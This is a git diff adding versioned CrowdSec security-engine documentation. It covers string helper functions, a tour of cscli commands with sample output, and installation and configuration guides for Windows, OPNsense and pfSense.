+ +To split around the first instance of a separator, see Cut. + +### `SplitAfter(s string, sep string) []string` + +SplitAfter slices s into all substrings after each instance of sep and returns a slice of those substrings. + +If s does not contain sep and sep is not empty, SplitAfter returns a slice of length 1 whose only element is s. + +If sep is empty, SplitAfter splits after each UTF-8 sequence. If both s and sep are empty, SplitAfter returns an empty slice. + +It is equivalent to SplitAfterN with a count of -1. + +### `SplitAfterN(s string, sep string, n int) []string ` + +SplitAfterN slices s into substrings after each instance of sep and returns a slice of those substrings. + +The count determines the number of substrings to return: + +``` +n > 0: at most n substrings; the last substring will be the unsplit remainder. +n == 0: the result is nil (zero substrings) +n < 0: all substrings +``` + +Edge cases for s and sep (for example, empty strings) are handled as described in the documentation for SplitAfter. + +### `SplitN(s string, sep string, n int) []string` + + +SplitN slices s into substrings separated by sep and returns a slice of the substrings between those separators. + +The count determines the number of substrings to return: + +``` +n > 0: at most n substrings; the last substring will be the unsplit remainder. +n == 0: the result is nil (zero substrings) +n < 0: all substrings +``` + +Edge cases for s and sep (for example, empty strings) are handled as described in the documentation for Split. + +To split around the first instance of a separator, see Cut. + +### `Replace(s string, old string, new string, n int) string` + +Replace returns a copy of the string s with the first n non-overlapping instances of old replaced by new. If old is empty, it matches at the beginning of the string and after each UTF-8 sequence, yielding up to k+1 replacements for a k-rune string. If n < 0, there is no limit on the number of replacements. + +### `ReplaceAll(s string, old string, new string) string` + +ReplaceAll returns a copy of the string s with all non-overlapping instances of old replaced by new. If old is empty, it matches at the beginning of the string and after each UTF-8 sequence, yielding up to k+1 replacements for a k-rune string. + +### `Trim(s string, cutset string) string` + +Trim returns a slice of the string s with all leading and trailing Unicode code points contained in cutset removed. + +### `TrimLeft(s string, cutset string) string` + +TrimLeft returns a slice of the string s with all leading Unicode code points contained in cutset removed. + +To remove a prefix, use TrimPrefix instead. + +### `TrimRight(s string, cutset string) string` + +TrimRight returns a slice of the string s, with all trailing Unicode code points contained in cutset removed. + +To remove a suffix, use TrimSuffix instead. + +### `TrimSpace(s string) string` + +TrimSpace returns a slice of the string s, with all leading and trailing white space removed, as defined by Unicode. + +### `TrimPrefix(s string, prefix string) string` + +TrimPrefix returns s without the provided leading prefix string. If s doesn't start with prefix, s is returned unchanged. + +### `TrimSuffix(s string, suffix string) string` + +TrimSuffix returns s without the provided trailing suffix string. If s doesn't end with suffix, s is returned unchanged. + +### `ToString(s) string` + +Returns the string representation of s, if available (does a `s.(sttring)`). + +### `LogInfo(format string, ...)` + +Performs a logging call with the provided parameters, see [logrus reference](https://pkg.go.dev/github.com/sirupsen/logrus#Infof) for formatting info. \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/crowdsec_tour.mdx b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/crowdsec_tour.mdx new file mode 100644 index 000000000..1d0c90d11 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/crowdsec_tour.mdx @@ -0,0 +1,302 @@ +--- +id: crowdsec_tour +title: Crowdsec Tour +sidebar_position: 1 +--- + +## List installed configurations + +```bash +sudo cscli hub list +``` + +This lists installed parsers, scenarios and/or collections. + +They represent what your CrowdSec setup can parse (logs) and detect (scenarios). + +Adding `-a` will list all the available configurations in the hub. + +See more [here](/u/user_guides/hub_mgmt). + +
+ Listing Hub example + +```bash +sudo cscli hub list +INFO[0000] Loaded 13 collecs, 17 parsers, 21 scenarios, 3 post-overflow parsers +INFO[0000] unmanaged items : 23 local, 0 tainted +INFO[0000] PARSERS: +-------------------------------------------------------------------------------------------------------------- + NAME 📦 STATUS VERSION LOCAL PATH +-------------------------------------------------------------------------------------------------------------- + crowdsecurity/mysql-logs ✔️ enabled 0.1 /etc/crowdsec/parsers/s01-parse/mysql-logs.yaml + crowdsecurity/sshd-logs ✔️ enabled 0.1 /etc/crowdsec/parsers/s01-parse/sshd-logs.yaml + crowdsecurity/dateparse-enrich ✔️ enabled 0.1 /etc/crowdsec/parsers/s02-enrich/dateparse-enrich.yaml + crowdsecurity/whitelists ✔️ enabled 0.1 /etc/crowdsec/parsers/s02-enrich/whitelists.yaml + crowdsecurity/geoip-enrich ✔️ enabled 0.2 /etc/crowdsec/parsers/s02-enrich/geoip-enrich.yaml + crowdsecurity/syslog-logs ✔️ enabled 0.1 /etc/crowdsec/parsers/s00-raw/syslog-logs.yaml +-------------------------------------------------------------------------------------------------------------- +INFO[0000] SCENARIOS: +------------------------------------------------------------------------------------- + NAME 📦 STATUS VERSION LOCAL PATH +------------------------------------------------------------------------------------- + crowdsecurity/mysql-bf ✔️ enabled 0.1 /etc/crowdsec/scenarios/mysql-bf.yaml + crowdsecurity/ssh-bf ✔️ enabled 0.1 /etc/crowdsec/scenarios/ssh-bf.yaml +------------------------------------------------------------------------------------- +INFO[0000] COLLECTIONS: +--------------------------------------------------------------------------------- + NAME 📦 STATUS VERSION LOCAL PATH +--------------------------------------------------------------------------------- + crowdsecurity/mysql ✔️ enabled 0.1 /etc/crowdsec/collections/mysql.yaml + crowdsecurity/sshd ✔️ enabled 0.1 /etc/crowdsec/collections/sshd.yaml + crowdsecurity/linux ✔️ enabled 0.2 /etc/crowdsec/collections/linux.yaml +--------------------------------------------------------------------------------- +INFO[0000] POSTOVERFLOWS: +-------------------------------------- + NAME 📦 STATUS VERSION LOCAL PATH +-------------------------------------- +-------------------------------------- + +``` +
+ +## Installing configurations + +```bash +sudo cscli install +``` + +`configuration_type` can be `collections`, `parsers`, `scenarios` or `postoverflows`. + +You are most likely to only install collections that contain the needed parsers and scenarios to cover a technical stack : + +```bash +sudo cscli collections install crowdsecurity/nginx +``` + +They can be found and browsed on the [Hub](https://hub.crowdsec.net/browse/#configurations). + + +## Upgrading configurations + +```bash +sudo cscli hub update +sudo cscli hub upgrade +``` + +This will upgrade your existing parsers, scenarios and collections to the latest available version. + +You can as well use a more granular approach like `sudo cscli upgrade `. + +`configuration_type` can be `parsers`, `scenarios`, `collections`, `hub` or `postoverflows`. + +They can be found and browsed on the [Hub](https://hub.crowdsec.net/browse/#configurations). + +See more [here](/u/user_guides/hub_mgmt). + + +## List active decisions + + +```bash +sudo cscli decisions list +``` + +If you just deployed CrowdSec, the list might be empty, but don't worry, it simply means you haven't yet been attacked, congrats! Adding `-a` flag will as well list the decisions you received from the [community blocklist](/central_api/intro.md). + +Check [decisions](/u/user_guides/hub_mgmt) management for more ! + +
+ Listing decisions example + +```bash +sudo cscli decisions list ++-----+-----------+-------------+------------------------------------+--------+---------+----+--------+--------------------+----------+ +| ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ALERT ID | ++-----+-----------+-------------+------------------------------------+--------+---------+----+--------+--------------------+----------+ +| 802 | cscli | Ip:1.2.3.5 | manual 'ban' from | ban | | | 1 | 3h50m58.10039043s | 802 | +| | | | 'b76cc7b1bbdc489e93909d2043031de8' | | | | | | | +| 801 | crowdsec | Ip:192.168.1.1 | crowdsecurity/ssh-bf | ban | | | 6 | 3h59m45.100387557s | 801 | ++-----+-----------+-------------+------------------------------------+--------+---------+----+--------+--------------------+----------+ +``` +
+ +There are different decisions `SOURCE`: + + - `crowdsec` : decisions triggered locally by the crowdsec agent + - `CAPI` : decisions fetched from the Crowdsec Central API + - `csli` : decisions added via `sudo cscli decisions add` + +## Add/Remove decisions + +```bash +cscli decisions add -i 192.168.1.1 +cscli decisions delete -i 192.168.1.1 +``` + +Those commands will respectively add a manual decision for ip `192.168.1.1` (with default parameters such as duration and such), and remove all active decisions for ip `192.168.1.1`. + + + +## List alerts + +```bash +sudo cscli alerts list +``` + +While decisions won't be shown anymore once they expire (or are manually deleted), the alerts will stay visible, allowing you to keep track of past decisions. +You will here see the alerts, even if the associated decisions expired. + +
+ Listing alerts example + +```bash +sudo cscli alerts list --since 1h ++----+-------------+----------------------------+---------+----+-----------+---------------------------+ +| ID | SCOPE:VALUE | REASON | COUNTRY | AS | DECISIONS | CREATED AT | ++----+-------------+----------------------------+---------+----+-----------+---------------------------+ +| 5 | Ip:1.2.3.6 | crowdsecurity/ssh-bf (0.1) | US | | ban:1 | 2020-10-29T11:33:36+01:00 | ++----+-------------+----------------------------+---------+----+-----------+---------------------------+ +``` +
+ + +## Monitor on-going activity (prometheus) + +```bash +sudo cscli metrics +``` + +The metrics displayed are extracted from CrowdSec prometheus. +The indicators are grouped by scope : + + - Buckets : Know which buckets are created and/or overflew (scenario efficiency) + - Acquisition : Know which file produce logs and if thy are parsed (or end up in bucket) + - Parser : Know how frequently the individual parsers are triggered and their success rate + - Local Api Metrics : Know how often each endpoint of crowdsec's local API has been used + +
+ Listing metrics example + +```bash +sudo cscli metrics +INFO[0000] Buckets Metrics: ++--------------------------------------+---------------+-----------+--------------+--------+---------+ +| BUCKET | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED | ++--------------------------------------+---------------+-----------+--------------+--------+---------+ +| crowdsecurity/http-bad-user-agent | - | - | 7 | 7 | 7 | +| crowdsecurity/http-crawl-non_statics | - | - | 82 | 107 | 82 | +| crowdsecurity/http-probing | - | - | 2 | 2 | 2 | +| crowdsecurity/http-sensitive-files | - | - | 1 | 1 | 1 | +| crowdsecurity/ssh-bf | 16 | 5562 | 7788 | 41542 | 2210 | +| crowdsecurity/ssh-bf_user-enum | 8 | - | 6679 | 12571 | 6671 | ++--------------------------------------+---------------+-----------+--------------+--------+---------+ +INFO[0000] Acquisition Metrics: ++---------------------------+------------+--------------+----------------+------------------------+ +| SOURCE | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET | ++---------------------------+------------+--------------+----------------+------------------------+ +| /var/log/auth.log | 92978 | 41542 | 51436 | 54113 | +| /var/log/messages | 2 | - | 2 | - | +| /var/log/nginx/access.log | 124 | 99 | 25 | 88 | +| /var/log/nginx/error.log | 287 | 63 | 224 | 29 | +| /var/log/syslog | 27271 | - | 27271 | - | ++---------------------------+------------+--------------+----------------+------------------------+ +INFO[0000] Parser Metrics: ++--------------------------------+--------+--------+----------+ +| PARSERS | HITS | PARSED | UNPARSED | ++--------------------------------+--------+--------+----------+ +| child-crowdsecurity/http-logs | 486 | 232 | 254 | +| child-crowdsecurity/nginx-logs | 723 | 162 | 561 | +| child-crowdsecurity/sshd-logs | 381792 | 41542 | 340250 | +| crowdsecurity/dateparse-enrich | 41704 | 41704 | - | +| crowdsecurity/geoip-enrich | 41641 | 41641 | - | +| crowdsecurity/http-logs | 162 | 59 | 103 | +| crowdsecurity/nginx-logs | 411 | 162 | 249 | +| crowdsecurity/non-syslog | 411 | 411 | - | +| crowdsecurity/sshd-logs | 92126 | 41542 | 50584 | +| crowdsecurity/syslog-logs | 120251 | 120249 | 2 | +| crowdsecurity/whitelists | 41704 | 41704 | - | ++--------------------------------+--------+--------+----------+ +INFO[0000] Local Api Metrics: ++----------------------+--------+------+ +| ROUTE | METHOD | HITS | ++----------------------+--------+------+ +| /v1/alerts | GET | 3 | +| /v1/alerts | POST | 4673 | +| /v1/decisions/stream | GET | 6498 | +| /v1/watchers/login | POST | 23 | ++----------------------+--------+------+ +INFO[0000] Local Api Machines Metrics: ++----------------------------------+------------+--------+------+ +| MACHINE | ROUTE | METHOD | HITS | ++----------------------------------+------------+--------+------+ +| 9b0656a34ee24343969bf2f30321ba2 | /v1/alerts | POST | 4673 | +| 9b0656a34ee24343969bf2f30321ba2 | /v1/alerts | GET | 3 | ++----------------------------------+------------+--------+------+ +INFO[0000] Local Api Bouncers Metrics: ++------------------------------+----------------------+--------+------+ +| BOUNCER | ROUTE | METHOD | HITS | ++------------------------------+----------------------+--------+------+ +| cs-firewall-bouncer-n3W19Qua | /v1/decisions/stream | GET | 6498 | ++------------------------------+----------------------+--------+------+ +``` + +
+ +### Reading metrics + +Those metrics are a great way to know if your configuration is correct: + +The `Acquisition Metrics` is a great way to know if your parsers are setup correctly: + + - If you have 0 **LINES PARSED** for a source : You are probably *missing* a parser, or you have a custom log format that prevents the parser from understanding your logs. + - However, it's perfectly OK to have a lot of **LINES UNPARSED** : Crowdsec is not a SIEM, and only parses the logs that are relevant to its scenarios. For example, [ssh parser](https://hub.crowdsec.net/author/crowdsecurity/configurations/sshd-logs), only cares about failed authentication events (at the time of writing). + - **LINES POURED TO BUCKET** tell you that your scenarios are matching your log sources : it means that some events from this log source made all their way to an actual scenario + + +The `Parser Metrics` will let you troubleshoot eventual parser misconfigurations : + + - **HITS** is how many events where fed to this specific parser + + - **PARSED** and **UNPARSED** indicate how many events successfully come out of the parser + + +For example, if you have a custom log format in nginx that is not supported by the default parser, you will end up seeing a lot of **UNPARSED** for this specific parser, and 0 for **PARSED**. + +For more advanced metrics understanding, [take a look at the dedicated prometheus documentation](/observability/prometheus.md). + + +## Deploy dashboard + + +:::caution + +Running [metabase](https://www.metabase.com/) (the dashboard deployed by `cscli dashboard setup`) [requires 1-2Gb of RAM](https://www.metabase.com/docs/latest/troubleshooting-guide/running.html). Metabase container is **only** available for amd64. + +::: + + +```bash +sudo cscli dashboard setup --listen 0.0.0.0 +``` + +A metabase [docker container](/observability/dashboard.md) can be deployed with [`cscli dashboard`](/cscli/cscli_dashboard.md). +It requires docker, [installation instructions are available here](https://docs.docker.com/engine/install/). + +## Logs + +```bash +sudo tail -f /var/log/crowdsec.log +``` + + - `/var/log/crowdsec.log` is the main log, it shows ongoing decisions and acquisition/parsing/scenario errors. + - `/var/log/crowdsec_api.log` is the access log of the local api (LAPI) + + +## Scalability + +CrowdSec uses go-routines for parsing and enriching logs, pouring events to buckets and manage outputs. + +By default, one routine of each exists (should be enough to handle ~1K EP/s), and can be changed in `crowdsec_service` of the main configuration file via the [parser_routines](/configuration/crowdsec_configuration.md#parser_routines), [buckets_routines](/configuration/crowdsec_configuration.md#buckets_routines) and [output_routines](/configuration/crowdsec_configuration.md#output_routines) directives. + +Please keep in mind that thanks to the [http API](https://crowdsecurity.github.io/api_doc/lapi/), the workload of log parsing can be splitted amongst several agents pushing to a single [LAPI](/local_api/intro.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/getting_started_on_windows.md b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/getting_started_on_windows.md new file mode 100644 index 000000000..e340ef349 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/getting_started_on_windows.md @@ -0,0 +1,190 @@ +--- +id: install_windows +title: Windows +--- + +## Security Engine Installation + +You can download the MSI file from the [latest github release](https://github.com/crowdsecurity/crowdsec/releases/latest). + +Before installing the package, you might want to check [the ports that the security engine will use](/docs/next/configuration/network_management). + +The MSI file will perform some basic setup: + - Installation of the Security Engine + - Download of the [windows collection](https://hub.crowdsec.net/author/crowdsecurity/collections/windows). This includes the basic parser for the windows event log, a scenario to detect login brute force and the MMDB files to perform geo-ip enrichment. + - Registering your Security Engine with our Central API. + - Installation of the Windows Service for Security Engine. The service will start at boot time. + +Contrary to Linux, the Security Engine does not yet support the automatic configuration at installation time. If you want to be able to detect something other than RDP or SMB bruteforce, then you will need to customize your acquisition configuration. + +The default configuration will catch brute force attacks against RDP and SMB or any kind of remote authentication that uses Windows authentification. + +We currently support the following Windows services: + - RDP/SMB: Brute force detection + - IIS: HTTP attacks + - SQL Server: Brute force detection + - Windows Firewall: Network scan detection + +These directories are created: + - `C:\Program Files\CrowdSec`: Contains the `crowdsec.exe` and `cscli.exe` executables + - `C:\ProgramData\CrowdSec\config`: Contains all the configuration files + - `C:\ProgramData\CrowdSec\log`: Contains the various log files of CrowdSec or the bouncers + - `C:\ProgramData\Crowdsec\data`: Contains the CrowdSec database (if using sqlite) and the various data files used by the scenarios/parsers + - `C:\ProgramData\Crowdsec\hub`: Contains the hub data + +### Acquisition Configuration + +#### SQL Server logs + +You will need to install the [`crowdsecurity/mssql`](https://hub.crowdsec.net/author/crowdsecurity/collections/mssql) collection. + +The collection contains a parser for the SQL server authentication logs and a scenario to detect brute force. + +To install the collection from an admin powershell prompt run `cscli.exe collections install crowdsecurity/mssql`. + +You will then need to update the acquisition file located in `C:\ProgramData\CrowdSec\config\acquis.yaml` and add the following: +```yaml +--- +source: wineventlog +event_channel: Application +event_ids: + - 18456 +event_level: information +labels: + type: eventlog +``` + +Restart the CrowdSec service (using `net`, `sc` or the services app), and the `Security Engine` will now parse the SQL server authentification logs. + +:::info + +This scenario requires SQL Server to log failed authentication, which is the case by default + +::: + +#### IIS Logs + +You will need to install the [`crowdsecurity/iis`](https://hub.crowdsec.net/author/crowdsecurity/collections/iis) collection. + +The collection contains a parser for IIS W3C log format (with the default fields) and an another collection containing all the basic HTTP scenarios. + +To install the collection from an administrator powershell prompt, run `cscli.exe collections install crowdsecurity/iis`. + +If your IIS setup logs to a file then add the following to your acquisition configuration (`C:\ProgramData\CrowdSec\config\acquis.yaml`): + +```yaml +--- +use_time_machine: true +filenames: + - C:\\inetpub\\logs\\LogFiles\\*\\*.log +labels: + type: iis +``` + +Please note that `use_time_machine` is very important: By default IIS will flush the logs to a file every minute or if there is 64kB of logs to write. + +This means the `Security Engine` will see a influx of lines at the same time which can lead to false positive. + +The `use_time_machine` option enforces the use of the timestamp present in the line instead of the date of acquisition as the date of the event. + +If your IIS logs to the event logs, add the following to your acquisition configuration: +```yaml +--- +source: wineventlog +event_channel: Microsoft-IIS-Logging/Logs +event_ids: + - 6200 +event_level: information +labels: + type: iis +``` +Restart the CrowdSec service (using `net`, `sc` or the services app) and the `Security Engine` will now parse your IIS access logs. + +#### Windows Firewall + +You will need to install the [`crowdsecurity/windows-firewall`](https://hub.crowdsec.net/author/crowdsecurity/collections/windows-firewall) collection. + +The collection contains a parser for the windows firewall logs and a scenario to detect port scans. + +To install the collection from an administrator powershell or DOS prompt run `cscli.exe collections install crowdsecurity/windows-firewall` + +You will also need to enable the windows firewall logging. The official Microsoft documentation is available [here](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-windows-firewall-log). + +Update the acquisition configuration in `C:\ProgramData\CrowdSec\config\acquis.yaml` and add the following: +```yaml +--- +filenames: + - C:\\Windows\\System32\\LogFiles\\Firewall\\pfirewall.log +labels: + type: windows-firewall +``` + +Restart the CrowdSec service and the `Security Engine` will now parse the firewall logs. + +:::info + +Because the Windows Firewall operates in `stealth mode` by default, not all dropped packets will be logged. Only the one intented for port on which a service listens, which means that CrowdSec won't catch all network scans. + +Please note that we *DO NOT* recommand disabling stealth mode. + +::: + +#### Other services + +Almost all service types supported on Linux should also be supported on Windows, as long as the `Security Engine` does not expect logs in the syslog format. + + +## Windows Firewall Remediation Component Installation + +:::info +You may see Remediation Components referred to as "bouncers" in the documentation and/or within cscli commands. +::: + +Now that you've got the `Security Engine` up and running, it's time to install a Remediation Component to actually block the IP addresses which are attacking your server. + +We will use the Windows Firewall Component, which manages some windows firewall rules to drop traffic from IP addresses blocked by the engine. + +You can download either a MSI (containing only the bouncer) or a setup bundle (containing the component and the .NET 6 runtime) from the github releases: https://github.com/crowdsecurity/cs-windows-firewall-bouncer/releases + +:::warning + +The Windows Firewall Remediation Component requires the .NET 6 runtime. Install it before running the Component or use our setup bundle to install it with the Component. + +The runtime can be downloaded from [Microsoft](https://dotnet.microsoft.com/en-us/download/dotnet/6.0/runtime). +Choose the "Console App" download. + +::: + +:::warning + +If you installed the previous alpha release that was distributed from https://alpha-packages.crowdsec.net/, you must uninstall the previous version first. + +::: + + +When you run the MSI file, the Remediation Component will automatically register itself in the Security Engine and creates the Windows service, that will start the component on boot. + +The component works by adding a number of rules to the windows firewall (one rule per thousand blocked IPs). + +Those rules begins with `crowdsec-blocklist` and you should not manually update or delete them. + +They will be automatically deleted when the component stops, and created at startup. + +### Manual configuration + +If you install the Remediation Component before the Security Engine, you will need to perform some manual steps. + +First, you will need to create an API key for the Remediation Component. + +To do so, open an administrator powershell or DOS prompt and run `cscli.exe bouncers add windows-firewall-bouncer`. This will display an API key. + + +Add this key in the Remediation Component configuration file located in `C:\ProgramData\CrowdSec\bouncers\cs-windows-firewall-bouncer\cs-windows-firewall-bouncer.yaml`. + +When done, you will need to enable the `cs-windows-firewall-bouncer` service and start it. + +## Enrolling your instance + +The next step is to enroll your instance with the [CrowdSec Console](https://app.crowdsec.net/security-engines?enroll-engine=true). + +For the benefits, please visit the [Console section](/u/console/intro). \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_opnsense.md b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_opnsense.md new file mode 100644 index 000000000..906cfc7f8 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_opnsense.md @@ -0,0 +1,130 @@ +--- +id: install_crowdsec_opnsense +title: OPNsense +sidebar_position: 1 +--- + +# OPNsense plugin + +The CrowdSec plugin for OPNsense is installed from the official repositories. +It includes a Log Processor, LAPI service, and Remediation Component. This allows you +to: + + - block attacking traffic from entering the network (protect machines that don't have CrowdSec) + - deploy a log processor on OPNsense and scan its logs for attacks + - use the OPNsense server as LAPI for other log processors and remediation components + - list the hub plugins (parsers, scenarios..) and decisions on the OPNsense admin interface + +## Plugin installation + +Click `System > Firmware > Plugins` menu. Select os-crowdsec. It will deploy three packages: + + - `os-crowdsec`, the plugin itself + - `crowdsec` + - `crowdsec-firewall-bouncer` + +Do not enable/start the services from the terminal like you would on a standard freebsd system, because the plugin takes care of that. + +Refresh the page and go to `Services > CrowdSec > Overview` to verify the running services and installed configurations. + +Great, you now have CrowdSec installed on your system. Have a look at the [post installation steps](/u/getting_started/next_steps) to see how to to configure and optimize it, +these recommendations are valid for any system. + + +## Plugin Configuration + +You will find some options under `Services > CrowdSec > Settings`. You will see the first three are enabled by default: Log Processor (previously known as IDS), LAPI and Remediation Component (previously known as IPS). +You can disable them for testing or if you have special requirements. + +The parsers, scenarios and all objects from the [CrowdSec Hub](https://hub.crowdsec.net/) are periodically upgraded. The [crowdsecurity/freebsd](https://hub.crowdsec.net/author/crowdsecurity/collections/freebsd) and [crowdsecurity/opnsense](https://hub.crowdsec.net/author/crowdsecurity/collections/opnsense) collections are installed by default. + +Since crowdsec 1.6.3, private IP networks are whitelisted by default as well. This means for example an IP from a LAN or WAN which is on 192.168.x.y won't get blocked by a local decision +(community blocklists don't contain private IPs). + +If you want to revert to the previous behavior, to block private IPs as well, you can remove the related parser. + +```console +[root@OPNsense ~]# cscli parsers remove crowdsecurity/whitelists +``` + +If on the other hand you upgrade from a version before 1.6.3, you need to install the lists yourself. + +## Testing the remediation component + +A quick way to test that everything is working correctly is to execute the following command. Your ssh session should freeze and you should be kicked out from the firewall. You will not be able to connect to it (from the same IP address) for two minutes. It might be a good idea to have a secondary IP from which you can connect, should anything go wrong. + +```console +[root@OPNsense ~]# cscli decisions add -t ban -d 2m -i # replace with your connecting IP address +``` + +This is a more secure way to test than attempting to brute-force yourself: the default ban period is 4 hours, and crowdsec reads the logs from the beginning, so it could ban you even if you failed ssh login 10 times in 30 seconds two hours before installing it. + +You can find a list of all available flags with `cscli decisions add --help`. + +### How do I find my connecting IP address to test? + +We have provided some examples below to help you find your connecting IP address. Depending on your shell / environment, you may need to use a different command. + +```console +[root@OPNsense ~]# echo $SSH_CLIENT | awk '{print $1}' +[root@OPNsense ~]# w -h | awk '{print $3}' | sort -u +``` + +## Remote LAPI setup (optional) + +If you don't want to run the LAPI service on the OPNsense machine (because it's small/slow or you already have LAPI somewhere) then you'll have to manually tweak the configuration (thanks [Jarno Rankinen](https://github.com/0ranki)). + +Be aware: the list of machines and bouncers shown in the Overview tab will be incorrect. In the current version, the crowdsec instance on OPNsense has no way (and no permission) to retrieve the list of machines and bouncers from the LAPI if it resides on another server, so it displays the local (and outdated) information. + +The following steps assume you already have set up a central LAPI server that is reachable by the OPNsense instance. You will also need SSH access with root permissions to both OPNsense and LAPI server. + + - On the LAPI server, edit `config.yaml` (`/usr/local/etc/crowdsec/` on FreeBSD, `/etc/crowdsec/` on Linux). + + If `api.server.listen_uri` is localhost, you need to change it to something reachable by OPNsense, for example `192.168.122.214:8080`. Update `local_api_credentials.yaml` too, but with the http:// this time: `http://192.168.122.214:8080`. + Restart CrowdSec. + + - In the Settings tab, unselect `Enable LAPI` and select `Manual LAPI configuration`. Ignore the other two LAPI options (they are the url and port to use when listening, not where to connect). Click Apply. + + - Register the opnsense machine to the LAPI server: + + ```console + [root@OPNsense ~]# cscli lapi register -u http://192.168.122.214:8080 + ``` + + On the LAPI server, run + + ```console + [root@lapi-server ~]# cscli machines list + ---------------------------------------------------------------------------------------------------... + NAME IP ADDRESS LAST UPDATE STATUS ... + ---------------------------------------------------------------------------------------------------... + be689d27c623aa393d1c8604eda5d1b47a62526b2e2e0201 192.168.122.214 2022-07-05T14:15:36Z ✔️ v1.3.4... + 97f403614b44aa27d60c1ff8adb93d6fae8f9d9697e1a98c 192.168.122.246 2022-07-05T14:21:43Z 🚫 ... + ---------------------------------------------------------------------------------------------------... + [root@lapi-server ~]# cscli machines validate 97f403614b44aa27d60c1ff8adb93d6fae8f9d9697e1a98c + INFO[05-07-2022 04:34:54 PM] machine 'edb8a102b4d54bdba9d5c70e5b4e766dqJvFTxnYsk8gyMsG' validated successfully + ``` + + - Add the bouncer: + + ```console + [root@lapi-server ~]# cscli bouncers add opnsense + Api key for 'opnsense': + + a8605055a065fd06b86ecac84e9e9ae4 + + Please keep this key since you will not be able to retrieve it! + ``` + + You can use any other name instead of opnsense. + + - On the OPNsense machine, edit `/usr/local/etc/crowdsec/bouncers/crowdsec-firewall-bouncer.yaml`. + Fill the `api_key` and `api_url` fields. Then restart both services, either with `service oscrowdsec restart` + or by clicking `Apply` again in the Settings tab. + +For more information on the topic: + + - How to set up a CrowdSec multi-server installation ([tutorial on crowdsec.net](https://www.crowdsec.net/blog/multi-server-setup) or [Linux Journal](https://www.linuxjournal.com/content/how-set-crowdsec-multi-server-installation)) + + - [Improve The CrowdSec Multi-Server Installation With HTTPS Between Agents](https://www.linuxjournal.com/content/improve-crowdsec-multi-server-installation-https-between-agents) (Linux Journal) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_pfsense.md b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_pfsense.md new file mode 100644 index 000000000..cda238096 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_pfsense.md @@ -0,0 +1,266 @@ +--- +id: install_crowdsec_pfsense +title: pfSense +--- + +The CrowdSec package for pfSense requires some manual installation steps, as it is not yet available in the official repositories. + +Three types of setup are supported: + +**Small** (remediation only) - the pfSense machine receives blocklists from a +Security Engine that you are running on a different machine. +Attacking traffic is blocked at the firewall by (configurable) pfSense rules. + +**Medium** (small+log processor) - in addition to enforcing blocklists, the pfSense +machine can detect attacks directed at the firewall itself, for example port scans. +The data about the attacks is sent (for analysis and possibly sharing) to a Security Engine +that you are running on a different machine. + +**Large** (medium+LAPI) - deploy a fully autonomous Security Engine on the firewall +system and allow other Log Processors to connect to it. Requires a persistent `/var` +directory (no RAM disk) and a slightly larger pfSense machine, depending on the amount +of data to be processed. + +If you are not already a CrowdSec user, the Large setup is the easiest: just leave the default +values to enable remediation, log processor and Local API. + +:::info +The CrowdSec configuration is not transferred when you restore a pfSense backup, and you'll need +to reconfigure it or backup separately. Major pfSense upgrades may also require you to re-install +or re-configure CrowdSec so please verify that it's running afterwards. We have submitted the package +for inclusion in the official repository which should smooth out these issues. +::: + +## Installing the package + + * Open an ssh connection to your pfSense box + + * Download the install script and run it: +```console +# fetch https://raw.githubusercontent.com/crowdsecurity/pfSense-pkg-crowdsec/refs/heads/main/install-crowdsec.sh +# sh install-crowdsec.sh +``` + +* Do not activate or run the services yourself, because pfSense will take care of it. + +If you want to install a beta or an older version, please refer to [the release page](https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases) of the repository and provide the --release option to the install script. + + * Alternatively, you can download the packages to install in the `Assets` part of the release, and run the following commands in the right order. + +```console +# setenv IGNORE_OSVERSION yes +# pkg add -f +# pkg add -f +# pkg add -f +# pkg add -f +# pkg add -f +``` + +The direct links are for the most popular Community Edition of pfSense, architecture amd64. If you run on ARM or a different base version +of FreeBSD, you will find .tar files in the release assets containing the packages for the possible platforms. + + +## Configuration + +Once the package and its dependencies are installed, go to `Services/CrowdSec`. The options *Remediation Component*, +*Log Processor* and *Local API* should be enabled. Click Save. + +![Config part 1](/img/pfsense/config-1.png) + +With the size analogy, the default is a "Large", autonomous installation. + +For a "Medium", disable *Local API* and fill the fields in the *Remote LAPI* section. + +![Config part 2](/img/pfsense/config-2-remote.png) + +For a "Small", disable *Log Processor* too. + +CrowdSec on pfSense is fully functional from the command line but the web interface is read-only, with the exception of decision revocation (unban). +Most other actions require the shell or the [CrowdSec Console](https://app.crowdsec.net). +For simple things, `Diagnostics/Command Prompt` works as well as ssh. + +![Command Prompt](/img/pfsense/command-prompt.png) + + +You are free to edit the files in `/usr/local/etc/crowdsec`, although some setting may be overwritten by the pfSense package if they are mandatory. + +:::caution +*Ram Disk*: unless you disable Local API, ensure that you are [not using a RAM disk](https://docs.netgate.com/pfsense/en/latest/config/advanced-misc.html#ram-disk-settings) +for the /var directory. The persistent CrowdSec database and GeoIP tables are in `/var/db`. +If you really need a RAM disk, you can still use the log processor and remediation but you will +need to connect them to a remote CrowdSec instance. +::: + + +## Service Status + +In the page `Status/CrowdSec` you can see + + - registered log processors and remediation components + +![Remediation components](/img/pfsense/status-remediation-components.png) + + + - installed hub items (collections, scenarios, parsers, postoverflows) + +![Hub collections](/img/pfsense/status-hub-collections.png) + + + - alerts and local decisions + +![Alerts](/img/pfsense/status-alerts.png) + + +All tables are read-only with an exception: you can delete decisions one by one, to unban an IP for example. +An IP may have been banned for several reasons, which counts as separate decisions. + +All hub objects are periodically upgraded with a cron job. + + 